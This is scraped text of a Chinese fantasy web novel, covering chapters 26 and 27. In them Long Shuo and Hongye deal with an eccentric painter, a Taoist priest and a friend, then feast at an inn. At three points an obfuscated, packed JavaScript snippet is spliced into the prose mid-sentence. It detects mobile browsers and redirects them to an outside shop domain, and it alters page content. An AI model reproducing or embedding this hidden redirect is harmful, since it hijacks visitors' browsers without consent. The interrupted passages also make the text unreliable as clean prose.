l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248114|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哪里不对?” “感情和恩情明明是两回事,你又怎么能够混为一谈呢!我虽然跟谢灵雨一起长大,但只是把他当哥哥看,从来没有别的想法,是他一厢情愿追着我不放,也不知道他到底给我爹娘灌了什么迷魂汤,哄得他们这么急着催我结婚,可是我根本不喜欢他啊——”,红叶转过身来埋怨道:“他是救了你,你也应当报答,可是作为男子汉大丈夫,你不去想其他办法,却拿我的幸福当筹码,根本不顾及我的感受,轻而易举地便将我拱手让给他,难道你真的——真的宁肯对我不起,也不愿驳了你那知恩图报、大仁大义的面子吗?那样你不是——不是成了贪慕虚荣、沽名钓誉的伪君子了吗?”,她说着眼眶中又流下泪来。 听到她这一番动之以情,晓之以理的分析和埋怨,龙烁顿时大感羞愧,自责道:“是我不对,是我考虑不周,忽视了你的感受,对不起!” 红叶自觉甚是委屈,兀自哭诉道:“我爹爹妈妈最近正在给我筹备嫁妆,我若被迫嫁给了谢灵雨,到时候一切就都晚了!” 龙烁轻轻抚摸她的后背,安慰道:“不晚,什么时候都不晚,即使你嫁给了谢灵雨,我也一定会把你抢回来的!” “呵,你说得好听,我既已嫁了人,再抢回来还有什么用,我失去了清白之身难道你不嫌弃吗?” “为什么嫌弃?我又不在乎这些!再说,你一个大家闺秀看上了我这个武功法术低微的人,我有什么资格嫌弃呢?只要你不嫌弃我就好!” 红叶的泪水止不住地往下流:“真的?” “嗯!当然是真的!” 龙烁用自己的衣袖拂去红叶脸上的泪水道:“红叶,你别再哭了,远走高飞虽不可行,但我还有个办法,你要不要听?” 红叶心知他故意卖个官司,是想转移注意力,让自己能够不再那么伤心难过,只是此时她心中仍然怨气未消,嘴硬道:“你想说就说,不想说就不说——” 龙烁柔声道:“咱们既然是两情相悦,我这个‘男子汉大丈夫’就应该光明正大地去跟你父母说个清楚明白,虽然我目前武功术法不济,但也算是出身名门,我家祖传的锥风术法名扬天下,想必他们也有所耳闻!我想,凭着我这三寸不烂之舌,未必不能说服他们,倘若他们能够同意咱二人继续交往,那么我日后自当勤练术法,尽快变成你们心中文武双全、风流倜傥的模样,你说好不好?” 看着龙烁信誓旦旦的样子,红叶又是扑哧一笑,旋即又换上一副愁容道:“若是他们坚决不肯答允怎么办?以你现在的武功,别说我爹爹娘亲,就连我的师兄师姐你也打不过的——” “噢?你有多少师兄师姐?” “我有三个师兄和一个师姐,还有一个师弟,大师兄丁淞,二师兄戴荣,三师姐成馥,四师兄古辰,六师弟陆青,这里面只有四师兄古辰对我最好,他绝对不会伤害咱们的,其他人就很难说了,他们对我爹爹那是唯命是从!” 听到古辰的名字,龙烁顿时想起当日仙人亭把酒论术时的情景。 那日二人在亭中喝酒吃肉欣赏美景那是何等逍遥快活,相比现在衣衫褴褛、饥寒交迫的窘迫情状真的是大相径庭。 一想到巫山美酒“仙人酌”,龙烁腹中一阵咕噜咕噜惨叫,口水顺着嘴角流了下来。 红叶道:“若是你和我爹爹娘亲好说不成反而闹僵,那可就糟糕了!我师兄师姐他们身上的功夫虽然稀松平常,但是嘴上的功夫可厉害了!” “嘴上功夫厉害?”,龙烁好奇道:“他们很能吵吗?” “不是!他们的蛊灵之术都练得炉火纯青,若是唤来帮手的话,龙烁哥哥,你我二人那是绝计逃不掉的!” 想到红叶召唤冰蝶时的情景,龙烁瞬间明白了她的几位师兄师姐必然也是能够随时召唤什么动物过来帮忙,暗想那日在巫山“仙人酌”酒肆内,古兄召唤的是兔子,却不知她的师兄师姐分别能召唤什么动物。 他点头微笑道:“若是沐阳公子和我们一起呢?” 红叶一怔,顿时高兴起来,拍手叫道:“他那寒冰术功夫威猛无比,恐怕连我爹也敌不过他,若是有他在的话我们自然就不怕啦!只是我看那沐阳公子清冷孤傲,我想他未必愿意帮咱们这个忙!” “经过这次猎奇之争,沐阳公子与我也算是生死之交了,我若去请他帮咱们这个忙,他应该是不会拒绝的!” “真的吗?” “嗯!” 龙烁摸摸自己干瘪的肚子,对那悦仙居的小清酿又开始垂涎不已,他眼光一转,说道:“不过我穿这身破烂衣衫去见你父母太也无礼,况且折腾了这几天吃不好又睡不好的,身子乏得紧,不如咱们找到沐阳公子后,先去悦仙居吃上一顿泡饭再睡上一个美觉,然后精神饱满地去找你父母怎么样?到时候我一定可以把他们轻松拿下!” “龙烁哥哥——”,红叶机灵一笑,说道:“我看你不是身子乏得紧而是嘴巴馋的紧吧,你想喝酒了是不是?” “啊,嘿嘿,知我者红叶也,看来我什么也瞒不了你啊——” “那是当然——” 龙烁肚腹又是一阵咕噜咕噜地鸣叫,红叶拉起他的胳膊道:“走,找到沐阳公子后,我陪你们痛饮几杯怎么样?” “不行,只许你陪我一人!”,龙烁吃醋道:“再说,沐阳公子他也不会酒!” 红叶感到心中一阵甜蜜,羞涩一笑,说道:“好好,我只陪龙烁哥哥一人喝酒!” 26.幽兰着露 二人刚一转身,忽然发现一名白衣女子在前方不远处悄然而立。 她背对二人一动不动,似在凝神思索着什么。 这女子清冷高贵、朴素大方,身材纤细,亭亭玉立,一袭白衣皓然若雪,微风拂过,浅色的丝绦伴着长发在她身前飘荡,显是个年轻的姑娘。 “咦?”,红叶疑惑道:“她是什么时候出现在那里的?” 龙烁微微摇头,他虽有疑惑,却没多想,示意红叶继续往北山寻找沐阳公子。 二人路过那女子身旁的时候红叶发出了一声惊叫。 龙烁看向红叶,却见她正呆呆地盯着那女子,于是又转过身去瞧那女子。 只见那女子容貌清秀、气质脱俗、如莲似竹,冰肌玉骨,一滴泪水从她的脸颊上轻轻滑落,宛如冰山坠雪,又如幽兰着露。 龙烁一时竟看得呆了。 这女子虽比那沉鱼落雁闭月羞花的西施貂蝉少了些许妖娆妩媚,却胜在了庄重典雅清丽绝伦,赫然便是龙烁心目中嫦娥仙子的模样! 他脑中不断闪出“此女只应天上有”“只可远观不可亵玩”的云云描述。 龙烁实在好奇她一动不动站在那里到底在想些什么,又是因何事而伤心流泪。 龙烁想上前询问,可面对这样一位神仙似的人物,竟突然没了胆量,生怕自己亵渎了她。 红叶小嘴一撇,问道:“龙烁哥哥,她这模样,你很喜欢是吗?” “啊不,不是——” 龙烁自知说出这话实是口是心非,眼光立即转向别处说道:“咱们走吧!” 红叶拦住他道:“别走啊,我还有话问她呢!” “啊?什么话?” “我要问她为什么在这儿哭泣!” “不要,别多管闲事了,咱们还是走吧!” 看到龙烁紧张兮兮的样子,红叶更是来气,直接走到那女子面前喝道:“喂,你是谁?为什么在这儿哭?” 那女子并不回答。 “喂!你是聋子吗?我在问你话呢!” 置若罔闻。 “难道是个哑巴?” 纹丝不动。 “喂,你怎么一动不动的啊,到底是人是鬼?” 仍不理会。 龙烁一惊,忽然感觉这情景似曾相识。 他快步走到那女子身前细细打量,伸出手指戳戳她的衣服,顿时明白了其中原委。他长舒一口气,大叫道:“徐前辈,请你出来吧——” 一个仙风道骨的白发老头哈哈大笑着从树林里窜出,眨眼间便来到二人面前。 其身法之快形同鬼魅,吓得红叶连连尖叫,紧紧抓住龙烁的胳膊躲到了他的身后。 龙烁拍拍红叶的肩膀安慰道:“没事,这是嘻哈画师徐若谷徐老前辈!” “哈哈,你小子真聪明啊,竟然知道是我!” “呵呵,这戏弄人的手法一点儿未变,我自然就知道是您老人家来啦!” 龙烁忍不住还想去看那女子,问道:“徐前辈,这——也是您的女儿吗?” 徐若谷一怔,绕着那女子快速旋转几圈,骂道:“呸呸,她怎么配当我的女儿呢!我女儿不比她漂亮百倍千倍?” 龙烁尴尬一笑,内心却是不敢苟同,暗想:“这女子宛如天上的神仙一样一点也不似凡人。我问这是不是你的女儿,实在是恭维你了。你却认为自己的女儿比这女子还美上百倍千倍,说实在的,别说你的女儿比她不上,就连红叶妹子这样水灵的姑娘也逊色几分呢!” 红叶听到徐若谷在那里口出狂言,从龙烁身后闪出来说道:“呵,你的女儿比她还美丽百倍千倍,难道是神仙吗?” 徐若谷上下打量红叶,笑道:“你这女娃子长得倒也标致,不过与我女儿相比那还是差得远呐,嘿嘿,我的女儿漂亮得很,不是神仙却胜似神仙,不信你瞧——” 徐若谷从怀中取出七彩云霄笔在空中狂扫几下,她女儿的画像便出现在那女子身旁。 两名女子并排而立,相距不过数尺。她二人个头不相上下,均有一股清贵高雅之气,只是相比之下,她女儿徐素更像一名良家少女,而那白衣女子则宛如一位天府仙君。 “哈哈,怎么样,小姑娘?我女儿是不是比她漂亮千倍百倍?” 徐若谷不等红叶回答,纵身跳到龙烁面前斥道:“我说姓龙的小子,你来参加猎奇之争,究竟有没有看到我的女儿?怎么也没有听到你喊她的名字?” “啊,徐前辈,说来话长,这次猎奇之争实在是太过凶险,参加争战的绝大多数都是男子,很少见到女子,就是有,她们也都是跟着帮派兄弟或者世家子弟来的。您的女儿我确实没有见到——”,龙烁推测道:“可能正如您所料,徐素姑娘大概不喜欢来这么危险的地方!” “胡说胡说——”,徐若谷突然生气道:“我什么时候说过她不喜欢去危险的地方啦?” 徐若谷突然开始不停地东游西窜,似乎在以这种方式宣泄怒火。 龙烁知道自己说错了话,他连忙将红叶护在身后,暗觉这徐前辈脾气古怪喜怒无常,自己并没有说什么过分的话,竟然就无端惹怒了他。 只见徐若谷身形越闪越快,到得后来只能看见一个人影来回游荡,声音都跟不上他身体的速度。 龙烁和红叶二人左顾右盼地不住寻找徐若谷的身影,脑袋摆动得如同拨浪鼓一般却仍是追寻不到,只听徐若谷的声音从莫名的方向传来:“我女儿术法极高,武功极强,胆子更是大到包天,她只是不喜欢热闹,并不是害怕危险!我女儿这一点就跟我一样,觉得越是危险的地方越是有挑战,她越是愿意去闯呐!我西行途中听说这次猎奇之争竟然出现了许多上古凶兽,所以跑来看看我女儿来了没有!你这小子忒也愚笨不堪,一来作为她的丈夫竟然连她的脾气秉性都搞不清楚,实在是大不应该。二来她样貌如此出众,人群之中一眼就能辨出,而你竟然没有看到,真是气煞我也!” 红叶脸现怒色,转身问道:“龙烁哥哥,难道你已经有妻子了吗?” “啊?什么?” 龙烁大感冤枉,忙解释道:“你别听徐前辈乱说,我从小到大都是孤身一人何时又有妻子了?” 闻声,徐若谷怒气更盛,他一个闪身蹿到龙烁面前揪住他的脖领道:“姓龙的小子,你怎么翻脸不认账?” “啊?认什么账?”,龙烁急道:“我都没见过您的女儿,啊不是,只见过一次,啊不,一次也没有见过!我又怎么能说——是她的丈夫了!” 红叶见龙烁语无伦次地解释不清,认定他是在故意隐瞒,眼泪又扑簌簌地流了下来。 “嘻嘻,臭小子!上次在茶肆的时候我说等我找到女儿就让她嫁与你为妻是不是?哈,我说过的话可是泼出去的水,你可不能抵赖,你若是抵赖我现在就杀了你绝不留情——” 徐若谷手臂向上一扬,将龙烁整个身子抬离了地面。 脖领的衣襟勒得龙烁呼吸不畅,他手脚不住挣扎。 红叶大惊,飞身上前,以冰蝶蚕丝缠住徐若谷的手臂,用力一拉,将龙烁拉回了地面。 龙烁站立不稳,倒在地上不住喘息。 红叶赶忙将他扶起,朝徐若谷高声叫嚷道:“徐老头,原来是你蛮不讲理,我龙烁哥哥并不喜欢你的女儿,你为什么要逼他娶妻?” “嘿,没有教养的女娃娃,你该叫我徐爷爷才是!” 徐若谷撇嘴道:“父母之命媒妁之言,我徐若谷说过的话又岂能当儿戏?” “哼!”,红叶反驳道:“正如你所说,父母之命媒妁之言,你作为长辈,既没有征得他父母的同意,又未见媒人去你家上门提亲,只凭你一句话,我龙烁哥哥就必须娶你女儿,岂不太也荒唐可笑?” “噢——说得也是哈!”,徐若谷笑道:“啊,这还不简单?等我找到女儿后亲自上门找他父母商定婚事不就行了!媒人提不提亲的倒也不打紧,咱们不必这么多礼数,多一个人还要多一些打点,哎我这个人啊,一提到什么人情礼节就头疼得要命,还是一个人自由快活得多啊,哈哈——” 他一边说着一边查看自己的手臂,不知是什么东西缠住了自己,好奇道:“你这是什么物事,哈哈,还挺好玩儿哒——” “那是我的冰蝶蚕丝!” 红叶见徐若谷脾气阴晴不定,料想他女儿必定也是随他一样喜怒无常。龙烁哥哥若当真娶了他的女儿为妻,还不得整天要受这父女俩人的欺负了?于是问道:“既然你觉得一个人更自由自在,又为什么一定要你女儿嫁人?” “男大当婚女大当嫁,天下哪有女子到了年龄不嫁人的道理?哈,十几年前我给他找了一个老实的农夫让她安安稳稳地过日子,她见人家长相不好死活不肯嫁,竟然离家出走到现在也不回家!” 徐若谷指着龙烁道:“现在我给她找的这个姓龙的小子相貌还算英俊,就是武功差了点,不过没关系,经过我的一番调教他姑且也能配得上我女儿,这次我女儿肯定不会再拒绝啦——哈哈——” “什么?”,红叶疑道:“你女儿十几年前就到了谈婚论嫁的年龄啦?那她现在,岂不是已经是个半老徐娘啦?” “胡说——” 徐若谷指着徐素的画像道:“我女儿年轻貌美你没看到吗?她又怎么会老?” 红叶笑道:“那不是她十几年前的样子吗?这十几年来你又见到过她吗?” “这十几年?这十几年——” 徐若谷凝神思索间忽然哀叹一声,疯疯癫癫地说道:“原来我已经找了她十几年了——已经十几年了——” 龙烁对他倍感同情,暗想这徐前辈十几年如一日地寻找女儿,大概是因为思女心切以致心智有些紊乱了。 且不说他女儿此刻是否尚在人间,就算找到了,她的模样也必然与十几年前大不相同了。当初在茶肆的时候龙烁就想到了这一点,只是当时与徐前辈初次相逢不便明说,却没想到红叶此时直接点了出来。 红叶一下子自信起来,开心道:“你女儿十几年前确实挺美!不过现在她已经三十多岁了,我龙烁哥哥是肯定不会娶她的——” “瞎说——” 徐若谷闪身到红叶面前,左手一扬,将她一把举过头顶骂道:“我女儿就算过了这许多年依然是美若天仙,你这女娃娃竟会胡说八道,看我不教训你——” 龙烁大惊,暗想他两个人无论如何不是徐若谷的对手,连忙上前劝道:“徐前辈息怒,您快放下红叶姑娘,她年轻不懂事,口无遮拦惹怒了您,请您不要怪她——” “哼,不行,谁叫她说我女儿不好,我不能饶她——” 徐若谷开始原地打转,手臂不住地来回摆动。 红叶被他抓着在空中快速旋转,大叫道:“啊——啊——好晕——” 龙烁料想只要谁谈及他的女儿有什么不好,这徐若谷前辈就会情绪不稳喜怒无常。 他见徐若谷仍没有放过红叶的意思,情急之下高声喊道:“你女儿如此貌美,我,哎呀,我愿意娶她,你别伤害红叶姑娘——” 徐若突然停住道:“你此话当真?” “哎呀当真,徐前辈,请你快放了红叶姑娘!” 红叶急道:“龙烁哥哥,你怎么能答允他?你忘记对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“且慢——”,了清道长道:“实不相瞒,徐前辈,在下也有要事在身,却因赶路匆忙,途中不慎丢失了一幅画像,原来是被您捡到了,那是再好不过,还请徐前辈将那幅画像奉还,在下感激不尽!” “一幅画?”,徐若谷眼珠一转,说道:“什么画?我没见过没见过——” 了清微微皱眉,指着那白衣女子说道:“徐前辈,这女子的动作神态与画中之人一模一样,若非是您捡到了画像,又怎么能画出这女子来?” “啊!我是——我是自己凭空想象着画出来的——”,徐若谷吞吞吐吐地说道:“可能——可能恰巧跟你说的画中人长得一样吧!嘻嘻,要说什么字画,哎,我确实没见到过!嘿嘿——再说了,你一个道长,身上带着一幅女子的画像是什么道理,就算我真捡到了一幅字画,又怎么能证明那一定是你哒?” 了清耳根一红,解释道:“此画无字,并非字画,只是一幅人像,画中之人是我们道教的神仙,名为太元玉女,又名圣母元君!” 龙烁微微点头,暗想难怪这女子如此仙气飘飘,原来真是神仙。 红叶在他耳边小声问道:“圣母元君,那是谁?” 龙烁低声道:“有人说她是老子的生母,老子正是写出《道德经》的那位先生!又有人说她是盘古的妻子,盘古就是开天辟地创造出世界万物的那位大神——” “噢——” “哈!”,徐若谷笑道:“既然是你们道教的神仙,为什么不摆在祠堂里供奉,却整天揣在怀里到处遛达,丢了也怨不得别人,嘿嘿——” “此画为我师弟所作,他特意赠送于我,我便一直带在身上,还请徐前辈勿再遮藏,我还要去找人,几位可曾见过一位清冷孤傲不苟言笑的白衣公子吗?” “你是说沐——?” 红叶本想问他说的是不是沐阳公子,却被龙烁打断道:“啊,没有,呵呵,我们没见过,白衣公子倒是有很多,清冷孤傲不苟言笑的却不曾见了——” 龙烁暗想:“了清道长之前给沐阳公子留下书信叫他尽快回谷,现下又在此出现,一定是来找沐阳公子带他回去的,我和红叶还需要沐阳公子的帮忙,此时万不能让了清道长找到他!” 了清略感失落道:“那么,请徐前辈尽快将画像奉还!” “哎呀,你这牛鼻子道长,我说了没有就是没有嘛,你怎么还一直追问?” 徐若谷背起双手朝东面走出几步,显是想趁机溜走,只是碍于伪装,不能逃得过于明显,因此没有使出他的轻身术功夫。 眨眼间,了清道长人已经奔至那棵参天古树前取下拂尘,又眨眼间,便已闪到徐若谷的身前。 这速度较之徐若谷的轻功速度竟然不相上下。 龙烁和红叶二人看得目瞪口呆。 徐若谷哈哈笑道:“好小子,你的轻功如此了得是跟谁学的?” “家师风云道人的‘风云’二字又岂是浪得虚名,他老人家轻身术一使如风似云,您难道没有听说过吗?” “哈哈,有趣有趣,咱俩不如比上一比,你若追上了我,我便把画像还你怎么样,嘻嘻,来呀来呀,来追我呀——” 徐若谷接过七彩云霄笔收入怀中,旋即消失在前方的树林里。 “徐前辈——” 了清大喊一声随即跟了上去。 此时天光已然大亮,红叶仍在惊讶那二人精深的脚上功夫,却被龙烁拉着往东北方向快速奔跑。 龙烁边跑边说道:“咱们赶快去找沐阳公子,带他到锦官城内去见你父母,不能让了清道长先找到他——” 27.总角之宴 二人兜兜转转,在一片小树林之中找到了燕沐阳,他正在东张西望寻找着什么。 “沐阳公子——” 龙烁远远地冲燕沐阳招手,二人目光相接,燕沐阳一个纵身飞至龙烁近前,向红叶凝视一眼,眉头微皱。 “啊,这是红叶姑娘,万兽山中你们见过的,当时事态紧急我来不及介绍!”龙烁解释道:“前几天我被星月宫的人掳掠到此,幸好被她及时救下,而后我们约定在万兽山碰面,其实我——其实我并不是什么江湖术士,我此次前来万兽山只是为了寻找红叶姑娘——” 燕沐阳微微摇头,眉头皱得更紧了。 “那个,我不是有意要骗你的啊!”,龙烁辩解:“只是我想着既然你也要找人,不如一起来万兽山碰碰运气,谁知来参加猎奇之争的人虽然不在少数,却仍是没能找到你的师叔——” “你的伤,好了?”, 燕沐阳虽然表情清冷,语气却满含关怀。 原来他并没有要责怪龙烁的意思。 龙烁心下稍安,他低头看向胸口被陈糠粟划破的那几道剑伤,它们此时都已经结了痂,不再有疼痛的感觉,说道:“啊,这点小伤算不了什么,过几天就会好全了——” “我是说,你的眉心——” “我的眉心?” 龙烁不解:“我的眉心怎么了?” 燕沐阳略一思索,似乎明白了一些事情,说道:“看来刚才那人是以乱真易容术法冒充你——” “啊?冒充我?”龙烁惊讶道:“是谁啊,冒充我干什么?” “不知,他只是拿了那本《天书》给我看!”,燕沐阳猜测:“许是怕被我识破机关,以钝器伤了眉心,说是遇到仇家追杀——” “《天书》?”龙烁惊问:“那《天书》不是被谢公子带走了吗?难道他也会使乱真易容术法?” “不可能!”红叶摇头:“我从小跟他一起长大,对他了如指掌,他绝对不会使这术法的——” 几人面面相觑,一时均想不明白其中的道理。 龙烁暗想莫非是净心?他转身问道:“沐阳公子,你看了那本书,书里有字吗?” 燕沐阳摇摇头。 龙烁继续问道:“他给你看过《天书》后,便突然不知所踪了,是不是?” 燕沐阳微微点头。 “呵!这个臭小子倒是挺机灵,竟然想到冒充我来试探你,却不成想那的确就是一本无字《天书》!”,龙烁摇头苦笑:“不过他找的理由实在是太过牵强了,我这么一个正直善良意气风发的风流少年郎又怎么会有仇家?这话说出来任谁也不能相信啊!怎么沐阳公子你就信了呢?看来你对我了解的还是不够深入啊呵呵——” 龙烁的贫嘴燕沐阳已经习以为常,他没有去接龙烁的话茬,问道:“试探我?” “嗯!” 龙烁给燕沐阳详细解释他们三人在篝火边休息时净心如何发现了一根白色的毛发,如何推测白泽可能是因你沐阳公子在场才会现身,如何认为只有你沐阳公子能够读懂《天书》云云。 “别说那么多了,龙烁哥哥,咱们快去锦官城里吧——”,红叶催促道。 “好!” 龙烁又给燕沐阳解释他和红叶如何相遇,如何私订终身,如何要去找她父母坦白一切,如何需要他帮忙。 正行走间,忽然马蹄声起,竹林里突然窜出十几个头戴红巾的黑衣蒙面人,他们不住吆喝着将三人围起,兜转几圈却没有一人站出来说明来意。 “你们是什么人?”,红叶斥道。 龙烁虽不知他们的底细,但从头巾看出这些人跟巫山仙人停中遇到的是同一伙人,知道是冲自己来的,暗想这些人武功平平古兄一个人就将他们全部引开了,现下有沐阳公子在旁便更不用害怕,咯咯笑道:“又是你们,真是穷追不舍啊——” 看到那些人的马匹个个膘肥体壮,龙烁眼珠转动,想着如果有马匹代步,天黑之前便可赶到悦仙居去喝他那朝思暮想的小清酿了,于是开心道:“及时雨及时雨,感谢你们送来的马匹啊!” 他朝燕沐阳使个眼色,示意他把其中三人打下马来,好让他们乘马离开继续赶路。 “没有仇家?”,燕沐阳低声道。 龙烁尴尬一笑:“这个真不赖我啊,说实话,我根本不认识他们,不过,他们的确是冲着我来的,还请沐阳公子你高抬贵手,帮咱们抢上三匹快马,你看我这一身污秽不堪的样子,我从小都没这么狼狈过啊,咱们得尽快赶到悦仙居去让我换身衣服——” 燕沐阳嘴角微勾。 “咦?”,红叶低声道:“我还是第一次见沐阳公子笑!” “啊,那是你见他见得少!” 燕沐阳化出冰剑向三名黑衣人发起攻击。 这些人果然是外强中干,燕沐阳手几乎没费吹灰之力便将他们打得哭爹喊娘如过街老鼠般东逃西窜。 红叶看得直觉好笑,龙烁赶忙拉着她骑上快马冲出了包围圈。 燕沐阳随后也跟了上去。 酉时三刻,三人奔入锦官城的西城门。 看到“悦仙居”门口的牌匾离他们越来越近,龙烁已经感觉到那川中美酒“小清酿”正在转动着它那圆滚滚的小坛子向自己不住卖弄风骚了! 一想到马上就能痛饮千杯一醉方休,龙烁的口水便抑制不住地往外流,腹中馋虫也跟着疯狂作祟。 甩蹬离鞍下了马,未及落座,龙烁便迫不及待地喊来钱掌柜要了十坛子美酒和两只大肥鸡。 钱掌柜见他衣衫褴褛风尘仆仆,像叫花子又不似叫花子,一时之间没有认出是谁,扬手正打算轰他出去,却见南宫红叶从他身后一闪而出,这才毕恭毕敬回应。 红叶问道:“龙烁哥哥,你要这么多,咱们能吃得完吗?” “啊,不好意思,这是我一个人的量,你们想吃什么自己点,今天我借花献佛请你们吃饭,呵呵!” 龙烁从胸前衣袋中拿出红叶带给他的那个钱袋,掏出一定黄金放到店小二的手中。 钱掌柜掂量着自己手中的那定黄金足足有十两重,瞬间眉飞色舞喜笑颜开,一脸谄媚地询问燕沐阳和红叶要吃什么。 燕沐阳微微摇头。 红叶也只是点了一道蜀地特有的辣菜。 见他二人一个不食人间烟火,一个又小家碧玉,龙烁道:“掌柜的,这样,你随意给我们上几个你们店里的拿手好菜,荤素搭配着都来一些就好了!对啦,先给我们预备三间上房和干净的衣服放在房中,我们梳洗之后换了衣服就下来吃饭!” “哎行喽您稍等,马上备齐——” 红叶随店小二上了楼,龙烁转身向燕沐阳说道:“沐阳公子,上次借了你二两银子吃酒,这次我请你吃饭,咱二人那就算是扯平啦!” 燕沐阳脸色一沉,说道:“你欠我的,何止如此!” 他转身往楼上走去。 龙烁一怔,快步跟上陪笑道:“说的是说的是,沐阳公子你救了我好几次,这份恩情我日后必会想办法报答!” “不必!” 酒菜齐备后,店小二喊龙烁下了楼,见燕沐阳和红叶已经坐在东首靠窗的桌子旁,龙烁快步来到二人身旁,抱歉道:“久等了不好意思,实在是因那满身的污泥太难洗净!” 换了衣衫的龙烁风流倜傥玉树临风,龙须刘海荡在额前潇洒飘逸英俊帅气。 红叶不自觉地红了脸,抿着嘴低头不语。 忽听旁边桌上的一男子说道:“哎你们听说了吗?这次万兽山猎奇之争可热闹啦,出现了许多上古神兽,进去的人也死了一大半呢!” 一人道:“可不是嘛,听说这都是那谢庄主的阴谋,他这回请来了这么多人,目的就是为了让大家帮他拿到什么‘《天书》’,嘿,你们猜怎么着,那本书倒是拿到了,结果打开里面是空的,是一本无字《天书》!很多人却因此白白送了命,这就引起了众怒,大家都去万兽山庄讨说法去了,结果他谢亭韵竟然带着家眷逃跑啦!” “诶——话不能乱说!”,另一人道:“猎奇之争每年都有举行,只不过这次死伤的人数较多,又怎么能说是谢庄主的阴谋了?人家可是西南八俊之首,在咱们这一带可是出了名的大善人,经常除恶行善不说,每年还会开仓放粮救济贫苦百姓! 况且人家入山前已经提示过大家山中危险了,是他们那些人自以为是跑去送死,丢了性命又能怨谁?若都像我一样不去冒险不就好啦,不但保全了性命,还在庄上饱餐了一顿好酒好肉呢! 我给你们说,他庄上的酒那都是十年以上的陈年老酒,说实话,我就是奔着那好酒去哒,哈哈!”,那人说着意犹未尽地吸了一下口水。 “刘兄,你有所不知!大家之所以认定那是谢亭韵的阴谋,是因为这次他们西南八俊都没有入山,你们想想,他们以往都随大伙儿一起入山围猎,若不是事先知道这次入山异常凶险,否则怎么会突然不去了呢?再者来说,《天书》丢失了你们知道了吗?” “啊?丢了?” “是呀,《天书》本来要被谢少庄主谢灵雨带回庄里,他回庄途中却莫名丢失了,你们想想,若是此书无用,又怎么会有人去偷呢?所以,他们说那是无字《天书》,很可能是为了防止众人争抢而故意放出的假话!众人去亭韵山庄讨要说法,谢庄主安抚不下,这才携着家眷躲难去啦!” “噢!那你们说《天书》是被谁偷走了?” “不知,据说谢家正在全力追寻!” “呵,我看那是谢亭韵为了掩人耳目,故意说《天书》被偷了,却是贼喊捉贼,把矛头指向别处!” “这个,倒也有可能,不过你们知道吗,各大门派和世家子弟都追到城里来了,他们可能找到谢亭韵一家的藏身之处了,这次咱们可有好戏看喽——” “嘘,小点声,小心隔墙有耳!” 旁边桌上的几人话音稍落。 龙烁心想:“净心这小子偷了《天书》去让沐阳兄翻看,既然看不出什么异常为什么不去还给人家,现在倒好闹得满城风雨!好在他们不知是谁偷了《天书》,净心有矩纸穿行术法这一技傍身倒也可能不会轻易被人找到,我须得替他保守秘密,莫的让人家抓去了,即使交出《天书》却仍是有口难辩!” 龙烁见燕沐阳和红叶仍不动碗筷,随手拎起一个酒坛为他二人分别斟了满满一大碗“小青酿”。 燕沐阳眼光掠过酒碗道:“我不会酒!” “啊!我知道!”,龙烁转头看向红叶,问道:“红叶你呢?” 红叶轻声道:“一碗可以的!” 龙烁大竖拇指啧啧称赞,端起一碗烈酒转头朝燕沐阳说道:“沐阳公子,我知道你从不喝酒,但是不喝酒不代表不能喝酒!今天实在是太高兴了,有沐阳公子你这样一位好兄弟和红叶妹子这样一位红颜知己在此陪我喝酒吃肉,这是我做梦都不会想到的! 一来能够认识你们实在是我三生有幸,二来经历了万兽山猎奇之争的种种危难,在我看来,咱们已经算是同过甘苦,共过患难的好兄弟了,要说是生死之交也不为过!三来咱们下一次一起喝酒就不知要等到什么时候了,所以此时此刻,可以说是我人生中最快活的时光了! 沐阳公子你若是愿意给我这个面子,陪我喝上一碗酒,我就当你是认了我这个兄弟,以后我就叫你沐阳兄,你若不愿意,也没关系,我还当你是我的救命恩人,尊称你为沐阳公子,如何?” 红叶看到龙烁那厚脸皮的模样捂起嘴巴偷偷一笑,暗想:“龙烁哥哥可真会拉关系攀高枝,沐阳公子武功盖世术法卓绝,天下之人莫不想与他结交,而龙烁哥哥干脆要认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263878|197615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他作兄弟!一旦成了,那么以后好兄弟便要有福同享有难同当,龙烁哥哥若是再遇到什么难事也就是他沐阳公子的难事啦!呵,即使沐阳公子不愿意与龙烁哥哥称兄道弟,龙烁哥哥也表明了态度仍然像现在一样对他尊敬有加不想失去他这个朋友,他这是在做一笔保本的买卖,只是不知他沐阳公子是否愿意认我龙烁哥哥作兄弟了!” 半晌,燕沐阳不答,似乎陷入了沉思。 龙烁手中的酒碗仍举在空中,喝也不是不喝也不是,略感一丝尴尬,轻声说道:“你若怕喝醉,不喝也罢,只要你点头,我就当你认了我这个兄弟!” 碗中的酒水微微晃动,燕沐阳瞧瞧龙烁,又看看红叶,缓缓端起自己的酒碗与龙烁的酒碗轻轻一碰,犹豫片刻,轻轻抿了一口。 顿时,燕沐阳脸现烦恶,只觉此物入口辛辣难以下咽,强自喝下半碗之后,又觉双颊滚烫喉咙灼痛,腹中翻滚百骸燥热,片刻之后,只觉万物颠倒地转天旋。 龙烁见他脸色有异,忙起身拍他后背:“沐阳公子,你慢点喝,不是要你一气喝完啊,这酒别名‘顷刻醉’你是知道的,烈得很,你感觉怎么样?” 燕沐阳手臂一挥,叫他不用理会,随即默念寒冰术法口诀,微微俯下身子,往腹部轻轻一压,吐出两粒晶莹剔透的冰块,片刻之后,便感天平地稳舒畅万分,他轻声说道:“无妨!” 